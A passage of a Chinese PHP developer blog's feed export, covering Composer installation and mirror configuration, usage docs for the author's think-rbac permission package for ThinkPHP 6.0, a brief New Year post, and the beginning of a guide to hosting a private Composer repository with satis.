class="line"> font-family: myFirstFont;</span><br><span class="line"> src: url('{$ttf}');</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> body {</span><br><span class="line"> font-family: myFirstFont;</span><br><span class="line"> }</span><br><span class="line"></style></span><br><span class="line"><body></span><br><span class="line"><img src="{$image_url}"></span><br><span class="line"><br></span><br><span class="line">{$name}</span><br><span class="line"></body></span><br><span class="line"></html></span><br><span class="line">EOF;</span><br><span class="line"></span><br><span class="line">$output = __DIR__ . '/demo/'.time().'.jpg';</span><br><span class="line">$imageSnappy->generateFromHtml($htmlTemplate, $output);</span><br><span class="line"></span><br><span class="line">echo 'ok';</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
<category term="tools" scheme="https://blog.lihq.xyz/tags/tools/"/>
</entry>
<entry>
<title>【转载】Composer 图文安装教程</title>
<link href="https://blog.lihq.xyz/2020/01/03/composer-graphic-installation-tutorial/"/>
<id>https://blog.lihq.xyz/2020/01/03/composer-graphic-installation-tutorial/</id>
<published>2020-01-03T05:58:00.000Z</published>
<updated>2025-09-18T07:56:12.966Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="Composer-图文安装教程"><a href="#Composer-图文安装教程" class="headerlink" title="Composer 图文安装教程"></a>Composer 图文安装教程</h1><h1 id="原文地址:"><a href="#原文地址:" class="headerlink" title="原文地址:"></a>原文地址:</h1><ul><li><a href="https://learnku.com/articles/38982">傻瓜都会的 Composer 图文安装教程</a></li><li><a href="https://learnku.com/articles/30258">Composer 国内全量镜像大全</a></li></ul><blockquote><p>Composer 不是一个包管理器,不同于python的pi,nodejs的npm,它是 PHP 用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。<br>为什么要是用composer呢,或者它有哪些好处呢?它使代码模块化,提高代码的复用性,另外还提供自动加载等。</p></blockquote><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>运行 Composer 需要 PHP 5.3.2+ 以上版本,composer 支持windows、linux等多平台。</p><h4 id="linux上安装"><a href="#linux上安装" class="headerlink" title="linux上安装"></a>linux上安装</h4><p>1、执行php -v 查看PHP版本</p><p><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/sbqZsYqcx3.png!large" alt="l1HWQA"></p><p>2、执行以下命令进行全局安装</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl -sS https:<span class="comment">//getcomposer.org/installer | php</span></span><br><span class="line">mv composer.phar /usr/local/bin/composer</span><br></pre></td></tr></table></figure><p><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/frQArxJQWr.png!large" alt="l1H6iD"></p><blockquote><p><code>composer.phar</code> 是 Composer 的二进制文件。这是一个 PHAR 包(PHP 的归档),这是 PHP 的归档格式可以帮助用户在命令行中执行一些操作</p></blockquote><p>3、查看是否安装成功</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//三选一</span></span><br><span class="line">composer</span><br><span class="line">composer -V</span><br><span class="line">composer --version</span><br></pre></td></tr></table></figure><p><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/fbcukm1BYX.png!large" alt="l1HHJg"></p><p>4、全局修改<code>composer</code>镜像</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//设置中国全量镜像,推荐使用阿里云镜像</span></span><br><span class="line">composer config -g repo.packagist composer https:<span class="comment">//packagist.phpcomposer.com </span></span><br><span class="line"><span class="comment">//查看配置是否成功</span></span><br><span class="line">composer config -gl</span><br></pre></td></tr></table></figure><p><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/tjo0TxuitJ.png!large" alt="l1OY01"></p><p>5、当某些不可抗因素导致原镜像不能正常使用的时候,切换composer镜像</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//1、切换源</span></span><br><span class="line">composer config -g repo.packagist composer https:<span class="comment">//mirrors.aliyun.com/composer/ </span></span><br><span class="line"><span class="comment">//2、清除所有 package 缓存(此步奏选泽性操作)</span></span><br><span class="line">composer clear-cache</span><br><span class="line"><span class="comment">//3、查看配置是否成功</span></span><br><span class="line">composer config -gl</span><br></pre></td></tr></table></figure><p><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/MKpKL7mgHw.png!large" alt="l1XUDs"></p><p>6、如果需要解除镜像并恢复到 packagist 官方源</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer config -g --<span class="keyword">unset</span> repos.packagist</span><br></pre></td></tr></table></figure><p><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/39imVJCkDE.png!large" alt="l1vFSO"></p><p>7、composer升级 </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer <span class="built_in">self</span>-update</span><br></pre></td></tr></table></figure><p><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/ccu84I4Z0d.png!large" alt="l1Hxe0"></p><p>中国全量镜像站内说如果版本更新不成功需要重新下载包。<br><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/6ZQ9eJYcuk.png!large" alt="l1HOQs"></p><p><strong>注意:一般正常擦做到上述第4步就可以</strong></p><h4 id="windos上安装composer"><a href="#windos上安装composer" class="headerlink" title="windos上安装composer"></a>windos上安装composer</h4><p>windows上安装composer比较方便,在<a href="https://docs.phpcomposer.com/00-intro.html">composer中文网</a>直接下载exe文件进行一路确定安装即可,剩余的操作与linux上的操作无差别。</p><p><img src="https://cdn.learnku.com/uploads/images/201912/31/21543/DiiwNaEMme.png!large" alt="l1zdQU"></p><h1 id="Composer-国内全量镜像大全"><a href="#Composer-国内全量镜像大全" class="headerlink" title="Composer 国内全量镜像大全"></a>Composer 国内全量镜像大全</h1><h3 id="镜像使用"><a href="#镜像使用" class="headerlink" title="镜像使用"></a>镜像使用</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ composer config -g repo.packagist composer 镜像地址</span><br><span class="line">$ composer clearcache</span><br><span class="line">$ composer update || install</span><br></pre></td></tr></table></figure><p>说明:若项目之前已通过其他源安装,可以删除 composer.lock 以及 vendor 目录,重新生成。</p><h3 id="关闭镜像"><a href="#关闭镜像" class="headerlink" title="关闭镜像"></a>关闭镜像</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ composer config -g --unset repos.packagist</span><br></pre></td></tr></table></figure><h3 id="阿里云-Composer-全量镜像"><a href="#阿里云-Composer-全量镜像" class="headerlink" title="阿里云 Composer 全量镜像"></a>阿里云 Composer 全量镜像</h3><p>镜像地址:<a href="https://mirrors.aliyun.com/composer/">https://mirrors.aliyun.com/composer/</a><br>官方地址:<a href="https://mirrors.aliyun.com/composer/index.html">https://mirrors.aliyun.com/composer/index.html</a><br>说明:终于接上大厂水管了,还没来得急测,先更新,估计阿里云做的也不会差。</p><h3 id="腾讯云-Composer-全量镜像"><a href="#腾讯云-Composer-全量镜像" class="headerlink" title="腾讯云 Composer 全量镜像"></a>腾讯云 Composer 全量镜像</h3><p>镜像地址:<a href="https://mirrors.cloud.tencent.com/composer/">https://mirrors.cloud.tencent.com/composer/</a><br>官方地址:<a href="https://mirrors.cloud.tencent.com/composer">https://mirrors.cloud.tencent.com/composer</a><br>说明:若您使用腾讯云服务器,可以将源的域名从 mirrors.cloud.tencent.com 改为 mirrors.tencentyun.com,使用内网流量不占用公网流量,是不是非常良心。</p><h3 id="华为-Composer-全量镜像"><a href="#华为-Composer-全量镜像" class="headerlink" title="华为 Composer 全量镜像"></a>华为 Composer 全量镜像</h3><p>镜像地址:<a href="https://mirrors.huaweicloud.com/repository/php/">https://mirrors.huaweicloud.com/repository/php/</a><br>官方地址:<a href="https://mirrors.huaweicloud.com/">https://mirrors.huaweicloud.com/</a><br>说明:华为 composer 镜像目前还不够完善,composer i 时会出现一些 bug ,而且同步速度也比较慢,好像并非是全量的。</p><h3 id="Packagist-Composer-中国全量镜像"><a href="#Packagist-Composer-中国全量镜像" class="headerlink" title="Packagist / Composer 中国全量镜像"></a>Packagist / Composer 中国全量镜像</h3><p>镜像地址:<a href="https://packagist.phpcomposer.com">https://packagist.phpcomposer.com</a><br>官方地址:<a href="https://pkg.phpcomposer.com/">https://pkg.phpcomposer.com/</a><br>说明:Packagist 中国全量镜像是从 2014 年 9 月上线的,在安装和同步方面都比较完善,也一直是公益运营,但不知道目前这个镜像是否还是可用状态。</p><h3 id="Composer-Packagist-中国全量镜像"><a href="#Composer-Packagist-中国全量镜像" class="headerlink" title="Composer / Packagist 中国全量镜像"></a>Composer / Packagist 中国全量镜像</h3><p>镜像地址:<a href="https://php.cnpkg.org">https://php.cnpkg.org</a><br>官方地址:<a href="https://php.cnpkg.org/">https://php.cnpkg.org/</a><br>说明:此 composer 镜像由安畅网络赞助,目前支持元数据、下载包全量代理,还是不错的,推荐使用。</p><h3 id="Packagist-JP"><a href="#Packagist-JP" class="headerlink" title="Packagist / JP"></a>Packagist / JP</h3><p>镜像地址:<a href="https://packagist.jp">https://packagist.jp</a><br>官方地址:<a href="https://packagist.jp">https://packagist.jp</a><br>说明:这是日本开发者搭建的 composer 镜像,早上测了一下,感觉速度还不错。</p><h3 id="Packagist-Mirror"><a href="#Packagist-Mirror" class="headerlink" title="Packagist Mirror"></a>Packagist Mirror</h3><p>镜像地址:<a href="https://packagist.mirrors.sjtug.sjtu.edu.cn">https://packagist.mirrors.sjtug.sjtu.edu.cn</a><br>官方地址:<a href="https://mirrors.sjtug.sjtu.edu.cn/packagist/">https://mirrors.sjtug.sjtu.edu.cn/packagist/</a><br>说明:上海交通大学提供的 composer 镜像,稳定、快速、现代的镜像服务,推荐使用。</p><h3 id="Laravel-China-Composer-全量镜像"><a href="#Laravel-China-Composer-全量镜像" class="headerlink" title="Laravel China Composer 全量镜像"></a>Laravel China Composer 全量镜像</h3><p>镜像地址:<a href="https://packagist.laravel-china.org">https://packagist.laravel-china.org</a><br>官方地址:<a href="https://learnku.com/laravel">https://learnku.com/laravel</a><br>说明:这个就不多了,国内 PHP 开发者使用量最多的 composer 镜像,同步速度快、稳定,推荐使用。</p>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="转载" scheme="https://blog.lihq.xyz/categories/%E8%BD%AC%E8%BD%BD/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
<category term="tools" scheme="https://blog.lihq.xyz/tags/tools/"/>
</entry>
<entry>
<title>2020新年快乐</title>
<link href="https://blog.lihq.xyz/2020/01/01/2020/"/>
<id>https://blog.lihq.xyz/2020/01/01/2020/</id>
<published>2019-12-31T16:00:00.000Z</published>
<updated>2025-09-18T07:56:12.966Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="我的2019"><a href="#我的2019" class="headerlink" title="我的2019"></a>我的2019</h2><p>这一年,过得也是很复杂,跟往年一样复杂</p><h2 id="我的2020"><a href="#我的2020" class="headerlink" title="我的2020"></a>我的2020</h2><p>这一年,或许真的需要再接再厉吧</p><h2 id="寄语"><a href="#寄语" class="headerlink" title="寄语"></a>寄语</h2><p>大家一起加油呀,最初的梦想还记得吗</p><h1 id="新年快乐!!!"><a href="#新年快乐!!!" class="headerlink" title="新年快乐!!!"></a>新年快乐!!!</h1>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="闲聊" scheme="https://blog.lihq.xyz/categories/%E9%97%B2%E8%81%8A/"/>
<category term="life" scheme="https://blog.lihq.xyz/tags/life/"/>
</entry>
<entry>
<title>think-rbac for thinkphp6.0</title>
<link href="https://blog.lihq.xyz/2019/12/27/think-rbac-for-thinkphp6.0/"/>
<id>https://blog.lihq.xyz/2019/12/27/think-rbac-for-thinkphp6.0/</id>
<published>2019-12-27T12:46:00.000Z</published>
<updated>2025-09-18T07:56:12.966Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="think-rbac-for-thinkphp6-0"><a href="#think-rbac-for-thinkphp6-0" class="headerlink" title="think-rbac for thinkphp6.0"></a>think-rbac for thinkphp6.0</h1><blockquote><p>之前做了一个thinkphp5.1版本的rbac接口管理,最近开始使用thinkphp6.0了,所以就可以开始升级我的rbac啦,哈哈哈</p></blockquote><h1 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h1><ol><li>首先用composer安装</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer require lihq1403/think-rbac:^1.0</span><br></pre></td></tr></table></figure><ol start="2"><li>发布配置文件</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php think lihq1403:rbac-publish</span><br></pre></td></tr></table></figure><p>会生成一个rbac.php的配置文件在config目录下</p><ol start="3"><li>rbac数据库迁移</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php think lihq1403:rbac-migrate</span><br></pre></td></tr></table></figure><p>然后就会发现数据库多了5张表,表字段具体内容可看代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">rbac_role 角色 表</span><br><span class="line">rbac_user_role 用户角色 中间表</span><br><span class="line">rbac_permission_group 权限组 表</span><br><span class="line">rbac_permission 权限规则 表</span><br><span class="line">rbac_role_permission_group 角色权限组 中间表</span><br><span class="line">rbac_log 请求日志 表</span><br></pre></td></tr></table></figure><ol start="4"><li>thinkphp6里面使用<br>在你需要用到权限的用户model里面,引入<code>RBACUser</code>,参考如下:</li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">app</span>\<span class="title class_">common</span>\<span class="title class_">models</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">Lihq1403</span>\<span class="title">ThinkRbac</span>\<span class="title">traits</span>\<span class="title">RBACUser</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Class AdminUser</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@package</span> app\common\models</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">AdminUser</span> <span class="keyword">extends</span> <span class="title">BaseModel</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 超级管理员id</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">const</span> <span class="variable constant_">SUPER_ADMINISTRATOR_ID</span> = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">use</span> <span class="title">RBACUser</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ol start="5"><li>配合路由使用</li></ol><blockquote><p>如果不想使用的话,可以参考<code>Lihq1403\ThinkRbac\controller\RBACController</code>做自己的自定义方法</p></blockquote><p>路由参考如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">// rbac 管理</span><br><span class="line">Route::group('rbac', function () {</span><br><span class="line"></span><br><span class="line"> // 角色管理</span><br><span class="line"> Route::post('role', 'Lihq1403\ThinkRbac\controller\RBACController@addRole'); // 添加角色</span><br><span class="line"> Route::put('role', 'Lihq1403\ThinkRbac\controller\RBACController@editRole'); // 修改角色</span><br><span class="line"> Route::delete('role', 'Lihq1403\ThinkRbac\controller\RBACController@delRole'); // 删除角色</span><br><span class="line"> Route::get('roles', 'Lihq1403\ThinkRbac\controller\RBACController@getRoles'); // 角色列表</span><br><span class="line"> Route::get('role/permission-group', 'Lihq1403\ThinkRbac\controller\RBACController@roleHoldPermissionGroup'); // 角色拥有的权限列表</span><br><span class="line"> Route::post('role/change-permission-group', 'Lihq1403\ThinkRbac\controller\RBACController@diffPermissionGroup'); // 角色更换的权限列表</span><br><span class="line"></span><br><span class="line"> // 权限组管理</span><br><span class="line"> Route::post('permission_group', 'Lihq1403\ThinkRbac\controller\RBACController@addPermissionGroup'); // 权限组新增</span><br><span class="line"> Route::put('permission_group', 'Lihq1403\ThinkRbac\controller\RBACController@editPermissionGroup'); // 权限组编辑</span><br><span class="line"> Route::delete('permission_group', 'Lihq1403\ThinkRbac\controller\RBACController@delPermissionGroup');// 权限组删除</span><br><span class="line"> Route::get('permission_groups', 'Lihq1403\ThinkRbac\controller\RBACController@getPermissionGroups'); // 权限组列表</span><br><span class="line"></span><br><span class="line"> // 权限管理</span><br><span class="line"> Route::post('permission', 'Lihq1403\ThinkRbac\controller\RBACController@addPermission'); // 权限新增</span><br><span class="line"> Route::put('permission', 'Lihq1403\ThinkRbac\controller\RBACController@editPermission'); // 权限编辑</span><br><span class="line"> Route::delete('permission', 'Lihq1403\ThinkRbac\controller\RBACController@delPermission'); // 权限删除</span><br><span class="line"> Route::get('permissions', 'Lihq1403\ThinkRbac\controller\RBACController@getPermissions'); // 权限列表</span><br><span class="line"></span><br><span class="line"> // 管理员管理</span><br><span class="line"> Route::post('admin-user/role', 'Lihq1403\ThinkRbac\controller\RBACController@userAssignRoles'); // 给管理员分配角色</span><br><span class="line"> Route::delete('admin-user/role', 'Lihq1403\ThinkRbac\controller\RBACController@userCancelRoles'); // 给管理员删除角色</span><br><span class="line"> Route::post('admin-user/sync-role', 'Lihq1403\ThinkRbac\controller\RBACController@userSyncRoles'); // 同步管理员角色</span><br><span class="line"></span><br><span class="line"> // 日志管理</span><br><span class="line"> Route::get('logs', 'Lihq1403\ThinkRbac\controller\RBACController@getLog'); // 获取日志</span><br><span class="line">});</span><br></pre></td></tr></table></figure><p><img src="https://blog-1256184194.file.myqcloud.com/2019/12/27/5c73436844f49.png" alt=""></p><ol start="6"><li>配合中间件进行权限验证<br>参考中间件如下:</li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">app</span>\<span class="title class_">middleware</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">app</span>\<span class="title">common</span>\<span class="title">facades</span>\<span class="title">AdminAuth</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">app</span>\<span class="title">common</span>\<span class="title">models</span>\<span class="title">AdminUser</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">Lihq1403</span>\<span class="title">ThinkRbac</span>\<span class="title">exception</span>\<span class="title">ForbiddenException</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">Lihq1403</span>\<span class="title">ThinkRbac</span>\<span class="title">facade</span>\<span class="title">RBAC</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Request</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">AdminUserRbac</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * rbac中间件</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> Request $request</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> \Closure $next</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> mixed</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@throws</span> ForbiddenException</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params">Request <span class="variable">$request</span>, \<span class="built_in">Closure</span> <span class="variable">$next</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="comment">// 获取要验证的用户id</span></span><br><span class="line"> <span class="variable">$uid</span> = <span class="title class_">AdminAuth</span>::<span class="title function_ invoke__">uid</span>();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 超级管理员不需要进行权限控制</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$uid</span> !== <span class="title class_">AdminUser</span>::<span class="variable constant_">SUPER_ADMINISTRATOR_ID</span>) {</span><br><span class="line"> <span class="comment">// 检查权限</span></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> RBAC::<span class="title function_ invoke__">can</span>(<span class="variable">$uid</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (\Lihq1403\ThinkRbac\exception\ForbiddenException <span class="variable">$exception</span>){</span><br><span class="line"> <span class="comment">// 如果没有权限,会抛出Lihq1403\ThinkRbac\exception\ForbiddenException异常</span></span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ForbiddenException</span>(<span class="variable">$exception</span>-><span class="title function_ invoke__">getMessage</span>());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 记录日志</span></span><br><span class="line"> RBAC::<span class="title function_ invoke__">log</span>(<span class="variable">$uid</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$next</span>(<span class="variable">$request</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ol start="7"><li>生成规则</li></ol><blockquote><p>在config/rbac.php里面,会有两个数组,用于权限初始化,<code>permission_group_list</code>和<code>permission_list</code></p></blockquote><p>对自己的系统进行权限配置之后,刷新权限规则</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php think lihq1403:rbac-refresh -f yes</span><br></pre></td></tr></table></figure><h1 id="常用API"><a href="#常用API" class="headerlink" title="常用API"></a>常用API</h1><h2 id="实例化"><a href="#实例化" class="headerlink" title="实例化"></a>实例化</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$rbac</span> = <span class="keyword">new</span> <span class="title class_">Rbac</span>();</span><br><span class="line"><span class="comment">// 或者使用门面</span></span><br><span class="line">\Lihq1403\ThinkRbac\facade\RBAC::<span class="title function_ invoke__">action</span>();</span><br></pre></td></tr></table></figure><h2 id="具体方法"><a href="#具体方法" class="headerlink" title="具体方法"></a>具体方法</h2><p>请参考<code>Lihq1403\ThinkRbac\lib\RBACLib</code>和<code>Lihq1403\ThinkRbac\Rbac</code></p><h1 id="源码地址"><a href="#源码地址" class="headerlink" title="源码地址"></a>源码地址</h1><div style="text-align: center"> <div class="github-card" data-user="lihq1403" data-repo="think-rbac" data-height="200" data-width="100%" data-theme="default" data-target="" data-client-id="" data-client-secret="" ></div></div><script src="/github-card-lib/githubcard.js"></script>]]></content>
<summary type="html">
think-rbac for thinkphp6.0
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
<category term="thinkphp" scheme="https://blog.lihq.xyz/tags/thinkphp/"/>
<category term="tools" scheme="https://blog.lihq.xyz/tags/tools/"/>
</entry>
<entry>
<title>使用 satis 搭建一个私有的 Composer 包仓库</title>
<link href="https://blog.lihq.xyz/2019/12/25/Using-satis-to-build-a-private-composer-package-warehouse/"/>
<id>https://blog.lihq.xyz/2019/12/25/Using-satis-to-build-a-private-composer-package-warehouse/</id>
<published>2019-12-25T15:53:00.000Z</published>
<updated>2025-09-18T07:56:12.966Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="使用-satis-搭建一个私有的-Composer-包仓库"><a href="#使用-satis-搭建一个私有的-Composer-包仓库" class="headerlink" title="使用 satis 搭建一个私有的 Composer 包仓库"></a>使用 satis 搭建一个私有的 Composer 包仓库</h1><h4 id="搭建缘由"><a href="#搭建缘由" class="headerlink" title="搭建缘由"></a>搭建缘由</h4><p>因为国内使用composer的时候,基本上都是用的镜像源,在开发包的时候,完成之后需要进行安装,就会出现一个同步时间差问题,等不及了,就可以先用自己的私有库顶住。当然,有些不公开的包就更需要一个私有的composer仓库了</p><p>说动手就动手,看了<a href="https://docs.phpcomposer.com/05-repositories.html#Hosting-your-own">官方文档</a>,提供了好几种自建方法,我这里只是选择了<a href="https://docs.phpcomposer.com/articles/handling-private-packages-with-satis.html">satis</a>,因为比较简单,哈哈哈</p><h2 id="源码安装"><a href="#源码安装" class="headerlink" title="源码安装"></a>源码安装</h2><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer create-project composer/satis --stability=dev --keep-vcs</span><br></pre></td></tr></table></figure><p>安装完成,会出现一个satis目录</p><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><p>satis的配置是通过satis.json进行的,我们在当前目录新建一个satis.json</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"name"</span><span class="punctuation">:</span> <span class="string">"Lihq Private Composer Repository"</span><span class="punctuation">,</span> </span><br><span class="line"> <span class="attr">"homepage"</span><span class="punctuation">:</span> <span class="string">"http://packagist.test"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"repositories"</span><span 